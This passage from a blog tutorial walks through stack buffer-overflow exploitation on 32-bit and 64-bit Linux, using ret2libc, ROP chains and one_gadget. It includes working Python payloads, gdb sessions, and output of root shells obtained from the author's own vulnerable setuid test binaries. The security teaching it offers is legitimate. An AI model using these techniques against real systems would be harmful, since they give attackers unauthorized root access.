But this way sucks right ? You can make your own tool to automate it. There are great tool already available like ROPgadget and Ropper which do the same work for you more smartly and also have lot of options to help you in ROP exploitation.

Let’s see how our stack will look like now.

Time to make payload and find missing addresses. We currently don’t know the address of first occurrence of ‘gets’ and argument for setuid which we need to overwrite with NULLs.

gdb-peda$ p gets
$1 = {<text variable, no debug info>} 0xf7e4c610 <gets>
gdb-peda$ p setuid
$2 = {<text variable, no debug info>} 0xf7ea3e60 <setuid>

Making a python script this time.

from struct import pack
junk='A'*100
pad='B'*4
gets=pack("I",0xf7e4c610)
setuid=pack("I",0xf7ea3e60)
pop=pack("I",0xf7dfe04b)            #pop;ret
system=pack("I",0xf7e22d60)
exit=pack("I",0xf7e16070)
sh=pack("I",0xf7f5c311)             #/bin/sh string
ecx='CCCC'
dest='DDDD'                         #first byte of setuid arg
desta='DDDD'                        #second byte of setuid arg
destb='DDDD'                        #third byte of setuid arg
destc='DDDD'                        #fourth byte of setuid arg
payload = ''
payload+= junk + ecx + pad
payload+= gets + pop + dest
payload+= gets + pop + desta
payload+= gets + pop + destb
payload+= gets + pop + destc
payload+= setuid + pop + pad        #argument for setuid
payload+= system + exit + sh
print payload

Set breakpoint and run exploit.

gdb-peda$ b *main+85
Breakpoint 1 at 0x5a2
gdb-peda$ r `python ret2libc.py`
Starting program: /home/virtual/buf `python ret2libc.py`
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCBBBB���K���DDDD���K���DDDD���K���DDDD���K���DDDD`>��K���BBBB`-��p`�����

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x56556fd4 --> 0x1edc 
ECX: 0xc0 
EDX: 0xf7fb6894 --> 0x0 
ESI: 0x2 
EDI: 0xf7fb5000 --> 0x1ced70 
EBP: 0xffffd208 --> 0xf7e4c610 (<gets>:	push   ebp)
ESP: 0xffffd200 ("CCCC")
EIP: 0x565555a2 (<main+85>:	pop    ecx)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56555597 <main+74>:	add    esp,0x10
   0x5655559a <main+77>:	mov    eax,0x0
   0x5655559f <main+82>:	lea    esp,[ebp-0x8]
=> 0x565555a2 <main+85>:	pop    ecx
   0x565555a3 <main+86>:	pop    ebx
   0x565555a4 <main+87>:	pop    ebp
   0x565555a5 <main+88>:	lea    esp,[ecx-0x4]
   0x565555a8 <main+91>:	ret
[------------------------------------stack-------------------------------------]
0000| 0xffffd200 ("CCCC")
0004| 0xffffd204 ("BBBB")
0008| 0xffffd208 --> 0xf7e4c610 (<gets>:	push   ebp)
0012| 0xffffd20c --> 0xf7dfe04b (pop    edi)
0016| 0xffffd210 ("DDDD")
0020| 0xffffd214 --> 0xf7e4c610 (<gets>:	push   ebp)
0024| 0xffffd218 --> 0xf7dfe04b (pop    edi)
0028| 0xffffd21c ("DDDD")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x565555a2 in main ()
gdb-peda$ x/20xw $esp
0xffffd200: 0x43434343 0x42424242 0xf7e4c610 0xf7dfe04b
0xffffd210: 0x44444444 0xf7e4c610 0xf7dfe04b 0x44444444
0xffffd220: 0xf7e4c610 0xf7dfe04b 0x44444444 0xf7e4c610
0xffffd230: 0xf7dfe04b 0x44444444 0xf7ea3e60 0xf7dfe04b
0xffffd240: 0x42424242 0xf7e22d60 0xf7e16070 0xf7f5c311

First ‘gets’ is at 0xffffd208 so ecx=0xffffd208+0x4=0xffffd20c. And our argument for setuid comes at 0xffffd240. Let’s modify our script.

from struct import pack
junk='A'*100
pad='B'*4
gets=pack("I",0xf7e4c610)
setuid=pack("I",0xf7ea3e60)
pop=pack("I",0xf7dfe04b)              #pop;ret
system=pack("I",0xf7e22d60)
exit=pack("I",0xf7e16070)
sh=pack("I",0xf7f5c311)               #/bin/sh string
ecx=pack("I",0xffffd20c)
dest=pack("I",0xffffd240)             #first byte of setuid arg
desta=pack("I",0xffffd240+0x1)        #second byte of setuid arg
destb=pack("I",0xffffd240+0x2)        #third byte of setuid arg
destc=pack("I",0xffffd240+0x3)        #fourth byte of setuid arg
payload = ''
payload+= junk + ecx + pad
payload+= gets + pop + dest
payload+= gets + pop + desta
payload+= gets + pop + destb
payload+= gets + pop + destc
payload+= setuid + pop + pad         #argument for setuid
payload+= system + exit + sh
print payload

set breakpoint at setuid and run it to check if we are correct. Press enter four times as gets will wait for input and empty input means NULL byte.

gdb-peda$ r `python ret2libc.py`
Starting program: /home/virtual/buf `python ret2libc.py`
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                                                                               ���BBBB���K���@������K���A������K���B������K���C���`>��K���BBBB`-��p`�����
Breakpoint 1, 0x565555a2 in main ()
gdb-peda$ b *setuid
Breakpoint 2 at 0xf7ea3e60
gdb-peda$ c
Continuing.





[----------------------------------registers-----------------------------------]
EAX: 0xffffd243 --> 0xe22d6000 
EBX: 0x42424242 ('BBBB')
ECX: 0xffffffff 
EDX: 0xf7fb68a0 --> 0x0 
ESI: 0x2 
EDI: 0xffffd243 --> 0xe22d6000 
EBP: 0xf7e4c610 (:	push   ebp)
ESP: 0xffffd23c --> 0xf7dfe04b (pop    edi)
EIP: 0xf7ea3e60 (:	call   0xf7f184b9)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7ea3e5a:	xchg   ax,ax
   0xf7ea3e5c:	xchg   ax,ax
   0xf7ea3e5e:	xchg   ax,ax
=> 0xf7ea3e60 :	call   0xf7f184b9
   0xf7ea3e65 <setuid+5>:	add    eax,0x11119b
   0xf7ea3e6a <setuid+10>:	push   ebx
   0xf7ea3e6b <setuid+11>:	sub    esp,0x28
   0xf7ea3e6e <setuid+14>:	mov    edx,DWORD PTR [eax+0x3878]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd23c --> 0xf7dfe04b (pop    edi)
0004| 0xffffd240 --> 0x0 
0008| 0xffffd244 --> 0xf7e22d60 (:	sub    esp,0xc)
0012| 0xffffd248 --> 0xf7e16070 (:	call   0xf7f184b9)
0016| 0xffffd24c --> 0xf7f5c311 ("/bin/sh")
0020| 0xffffd250 --> 0x0 
0024| 0xffffd254 --> 0x995902ae 
0028| 0xffffd258 --> 0xd92fcebe 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0xf7ea3e60 in setuid () from /lib32/libc.so.6

YEAH ! Argument to setuid is now overwritten with NULLs. Continue and you will see it executing /bin/sh. But we still won’t get root as we are in gdb. Time to try outside gdb. The addresses that will change outside gdb are the ones on stack that are ecx and address of setuid argument. So I have just added a variable ‘‘ to them whose value is the offset outside gdb.

run it.

[email protected]:~$ python ret2libc.py 
[+] Variables set. Making payload
[+] Payload ready. Exploiting Binary.
[#] Here comes the root shell. Press 'Enter' 4 times !
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL���BBBB���K����������K����������K����������K�������`>��K���BBBB`-��p`�����




# id
uid=0(root) gid=1000(virtual) groups=1000(virtual),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)
# whoami
root
#

And boom after all we are root.

One more method to bypass non-executable stack is to first make it executable. Yeah we can do that using the ‘mprotect()‘ function. ‘mprotect()’ changes the access protections for the calling process’s memory pages containing any part of the address range in the interval [addr, addr+len-1]. It means you can change the permissions of stack and then execute shellcode from it. This will do in next tutorial. TIll then you can try to do it yourself.

Modern 64 bit Linux

32 bit return to libc was pretty easy, it got little trickier in getting root where you have to set null bytes as argument for setuid. Somehow we did that too. ROP exploitation on 64 bit can make you go nuts at start with functions like strcpy which don’t copy null bytes. Why ?

It’s because of current 48-bit implementation of Canonical form addresses. Read more about it here. 64 bits can provide 264 bytes (16 EB) of virtual address space. However currently only the least significant 48 bits of a virtual address are actually used in address translation. That means addresses from '0000 0000 0000 0000' to '0000 7fff ffff ffff'.
So in order to chain instructions we need to fill next 8 bytes on stack with return address which has 2 null bytes at start. 8 bytes because it’s 64 bit and it will read next 8 bytes for return address. So chaining isn’t possible with functions like strcpy as the chain will break with null bytes in input. It still can be done with bugs like format string exploit which we will learn in future posts or having functions like read(), memcpy(), etc. in code which can copy nullbytes.

Okay. So strcpy stops at nullbytes. And we don’t have any functions in code which will copy null bytes. That means we can only make it return to just one address. We now need to find one address with such rop-gadget that executes the shell for us.

Let us first understand few basic difference between 32 bit and 64 bit assembly and how arguments are passed in 64 bit. I am using this simple code to execute shell.

Compiling and executing it will give you shell. Let’s load it in gdb and set breakpoint at execve() function call to find the arguments.

[email protected]:~$ gcc execve.c -o execve
[email protected]:~$ gdb -q execve
Reading symbols from execve...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000064a <+0>:	push   rbp
   0x000000000000064b <+1>:	mov    rbp,rsp
   0x000000000000064e <+4>:	mov    edx,0x0
   0x0000000000000653 <+9>:	mov    esi,0x0
   0x0000000000000658 <+14>:	lea    rdi,[rip+0x95]        # 0x6f4
   0x000000000000065f <+21>:	call   0x520 <[email protected]>
   0x0000000000000664 <+26>:	nop
   0x0000000000000665 <+27>:	pop    rbp
   0x0000000000000666 <+28>:	ret    
End of assembler dump.
gdb-peda$ b *main+21
Breakpoint 1 at 0x65f
gdb-peda$ r
Starting program: /home/virtual/execve 

[----------------------------------registers-----------------------------------]
RAX: 0x55555555464a (:	push   rbp)
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x0 
RDI: 0x5555555546f4 --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x7fffffffe120 --> 0x555555554670 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffe120 --> 0x555555554670 (<__libc_csu_init>:	push   r15)
RIP: 0x55555555465f (<main+21>:	call   0x555555554520 <[email protected]>)
R8 : 0x5555555546e0 (<__libc_csu_fini>:	repz ret)
R9 : 0x7ffff7de5ee0 (<_dl_fini>:	push   rbp)
R10: 0x0 
R11: 0x0 
R12: 0x555555554540 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe200 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555464e <main+4>:	mov    edx,0x0
   0x555555554653 <main+9>:	mov    esi,0x0
   0x555555554658 <main+14>:	lea    rdi,[rip+0x95]        # 0x5555555546f4
=> 0x55555555465f <main+21>:	call   0x555555554520 <[email protected]>
   0x555555554664 <main+26>:	nop
   0x555555554665 <main+27>:	pop    rbp
   0x555555554666 <main+28>:	ret    
   0x555555554667:	nop    WORD PTR [rax+rax*1+0x0]
Guessed arguments:
arg[0]: 0x5555555546f4 --> 0x68732f6e69622f ('/bin/sh')
arg[1]: 0x0 
arg[2]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe120 --> 0x555555554670 (<__libc_csu_init>:	push   r15)
0008| 0x7fffffffe128 --> 0x7ffff7a161c1 (<__libc_start_main+241>:	mov    edi,eax)
0016| 0x7fffffffe130 --> 0x40000 
0024| 0x7fffffffe138 --> 0x7fffffffe208 --> 0x7fffffffe50e ("/home/virtual/execve")
0032| 0x7fffffffe140 --> 0x1f7b987e8 
0040| 0x7fffffffe148 --> 0x55555555464a (<main>:	push   rbp)
0048| 0x7fffffffe150 --> 0x0 
0056| 0x7fffffffe158 --> 0xaf6db58595500b01 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000055555555465f in main ()

If you look closely now the arguments are actually passed from registers. The first is placed in rdi, the second in rsi, the third in rdx, and then rcx, r8 and r9. Only the 7th argument and onwards are passed on the stack. This is same with all function calls.

Okay back to topic. We can’t chain gadgets because of null bytes in address so need to find one gadget that does something like above disassembly, set the registers and call execve for us alone. Again time to search in libc.

[email protected]:~$ ldd buf64 | grep libc
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff77f3000)
[email protected]:~$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 1a3f20 /bin/sh
[email protected]:~$ objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep execve -B5 | grep rdi -C3 | grep 1a3f20 -C3
--
   d975a:	49 8d 7d 10          	lea    rdi,[r13+0x10]
   d975e:	e8 4d 6f f4 ff       	call   206b0 <*ABS*[email protected]>
   d9763:	48 8d 3d b6 a7 0c 00 	lea    rdi,[rip+0xca7b6]        # 1a3f20 <[email protected]@GLIBC_2.2.5+0x186>
   d976a:	48 89 da             	mov    rdx,rbx
   d976d:	4c 89 ee             	mov    rsi,r13
   d9770:	e8 8b f8 ff ff       	call   d9000 <execve@@GLIBC_2.2.5>
--
   d9a2c:	e8 7f 6c f4 ff       	call   206b0 <*ABS*[email protected]>
   d9a31:	48 8b 8d 60 ff ff ff 	mov    rcx,QWORD PTR [rbp-0xa0]
   d9a38:	48 8b 55 90          	mov    rdx,QWORD PTR [rbp-0x70]
==>d9a3c:	48 8d 3d dd a4 0c 00 	lea    rdi,[rip+0xca4dd]        # 1a3f20 <[email protected]@GLIBC_2.2.5+0x186>
   d9a43:	48 89 ce             	mov    rsi,rcx
   d9a46:	e8 b5 f5 ff ff       	call   d9000 <execve@@GLIBC_2.2.5>
--
   fccd9:	e8 52 7b 00 00       	call   104830 <[email protected]@GLIBC_2.2.5>
==>fccde:	48 8b 05 c3 d1 2d 00 	mov    rax,QWORD PTR [rip+0x2dd1c3]        # 3d9ea8 <[email protected]@GLIBC_2.2.5-0x31b0>
   fcce5:	48 8d 74 24 40       	lea    rsi,[rsp+0x40]
   fccea:	48 8d 3d 2f 72 0a 00 	lea    rdi,[rip+0xa722f]        # 1a3f20 <[email protected]@GLIBC_2.2.5+0x186>
   fccf1:	48 8b 10             	mov    rdx,QWORD PTR [rax]
   fccf4:	e8 07 c3 fd ff       	call   d9000 <execve@@GLIBC_2.2.5>
--
   fdb89:	e8 a2 6c 00 00       	call   104830 <[email protected]@GLIBC_2.2.5>
==>fdb8e:	48 8b 05 13 c3 2d 00 	mov    rax,QWORD PTR [rip+0x2dc313]        # 3d9ea8 <[email protected]@GLIBC_2.2.5-0x31b0>
   fdb95:	48 8d 74 24 70       	lea    rsi,[rsp+0x70]
   fdb9a:	48 8d 3d 7f 63 0a 00 	lea    rdi,[rip+0xa637f]        # 1a3f20 <[email protected]@GLIBC_2.2.5+0x186>
   fdba1:	48 8b 10             	mov    rdx,QWORD PTR [rax]
   fdba4:	e8 57 b4 fd ff       	call   d9000 <execve@@GLIBC_2.2.5>

What I did here ?

  1. Found offset of /bin/sh string.
  2. Disassembled libc and found all execve calls and printed 5 instructions before it.
  3. Piped that output and found rdi string and 3 instructions before and after it.
  4. Piped that output and found refrences of /bin/sh string location.

Observing the instructions we have found 3 such Gadgets(marked by arrow) which should do our work. I also found a tool online which will help you in finding one gadget rop. Download it from here. It’s also available in ruby gems. $ gem install one_gadget . It can find even more such ROP gadgets and also show the contraints in arguments.

Add the offset of gadget in libc base address and overwrite the return address with it.

gdb-peda$ vmmap
Start              End                Perm	Name
0x0000555555554000 0x0000555555555000 r-xp	/home/virtual/buf64
0x0000555555754000 0x0000555555755000 r--p	/home/virtual/buf64
0x0000555555755000 0x0000555555756000 rw-p	/home/virtual/buf64
0x00007ffff79f5000 0x00007ffff7bcb000 r-xp	/lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p	/lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p	/lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p	/lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p	mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp	/lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7fde000 0x00007ffff7fe0000 rw-p	mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p	[vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.26.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$ x/5i 0x00007ffff79f5000+0xfdb8e
 0x7ffff7af2b8e <exec_comm+2366>: mov rax,QWORD PTR [rip+0x2dc313] # 0x7ffff7dceea8
 0x7ffff7af2b95 <exec_comm+2373>: lea rsi,[rsp+0x70]
 0x7ffff7af2b9a <exec_comm+2378>: lea rdi,[rip+0xa637f] # 0x7ffff7b98f20
 0x7ffff7af2ba1 <exec_comm+2385>: mov rdx,QWORD PTR [rax]
 0x7ffff7af2ba4 <exec_comm+2388>: call 0x7ffff7ace000 <execve>

[email protected]:~$ python ret64.py
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
$ id
uid=1000(virtual) gid=1000(virtual) groups=1000(virtual),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)
$ whoami
virtual
$

Great we redirected the code execution flow to execute a shell. But what about root, our privileges were dropped ? Since source code contains strcpy() and chaining gadgets will require null bytes on stack to point to correct address I wasn’t able to find any one_gadget which will execute both setuid(0) and execve(“/bin/sh”,0,0) for us. If anyone of you is successful in getting root, do share with us.

Getting root on 64 bit

We have realised that we can’t chain gadgets with strcpy() because of nulls. This time we will demonstrate a scenario where vulnerable code uses read() function and chain gadgets to get root. Read can copy null bytes on stack.

[email protected]:~$ gcc suid64.c -o suid64 -fno-stack-protector
[email protected]:~$ sudo chown root suid64
[email protected]:~$ sudo chmod +s suid64

As you can see read copies 250 bytes into buf of size 100 bytes, clearly buffer overflow is possible. Since arguments are passed from registers in 64 bit, our payload now is little different from 32 bit. Argument to setuid must be ‘0’ which is passed from rdi. So we need to somehow get ‘0’ into rdi. Best way is to get it on top of stack and pop it into rdi. Great. So we first need a gadget “pop rdi; ret” then null and then we will call setuid and then execve one_gadget. Our payload will now look like this.

payload = junk + poprdi + null + setuid + onegadget

Here main return address is overwritten with address to “pop rdi;ret”. When that is executed null bytes will be on top of stack and will get popped into rdi, forming argument for setuid. Then it will return to setuid which will return to execve one_gadget. Here’s a script for that.

Remember the tip from previous article for programs with input prompt ?

[email protected]:~$ (python retread64.py;cat) | ./suid64 
Enter input: Input was : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�[���
id
uid=0(root) gid=1000(virtual) groups=1000(virtual),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)
whoami
root

Yeah ! Finally we got root on 64 bit elf executable too and successfully bypassed NX bit.

Sum Up

Finally it’s over. This one was pretty long. Actually more than double the last article. So far we have covered classic stack smashing and bypassed the non executable stack on old and modern 32 bit linux, got root, learned about ROP exploitation and finally faced a few problems on modern 64 bit system and still got root with vulnerable functions. Hope you enjoyed learning. If you have any doubts feel free to ask.

Next up

Next up is one more way to bypass non-exec stack by making it executable with mprotect(), format string exploits,bypassing ASLR, ret2got, ret2plt, etc many type of exploits. So stay tuned. Keep practicing.

Also Read: Can we bruteforce ASLR ?

About the author

Shivam Shrirao

Science and tech. enthusiast. Loves to learn working and manipulating of things deeply. Looking forward to make the world a better place. Admin of Ultimate Hackers.

1 Comment

Click here to post a comment

Subscribe Now

Subscribe for free and get latest articles delivered right into your inbox.

Thank you for subscribing.

Something went wrong.

Categories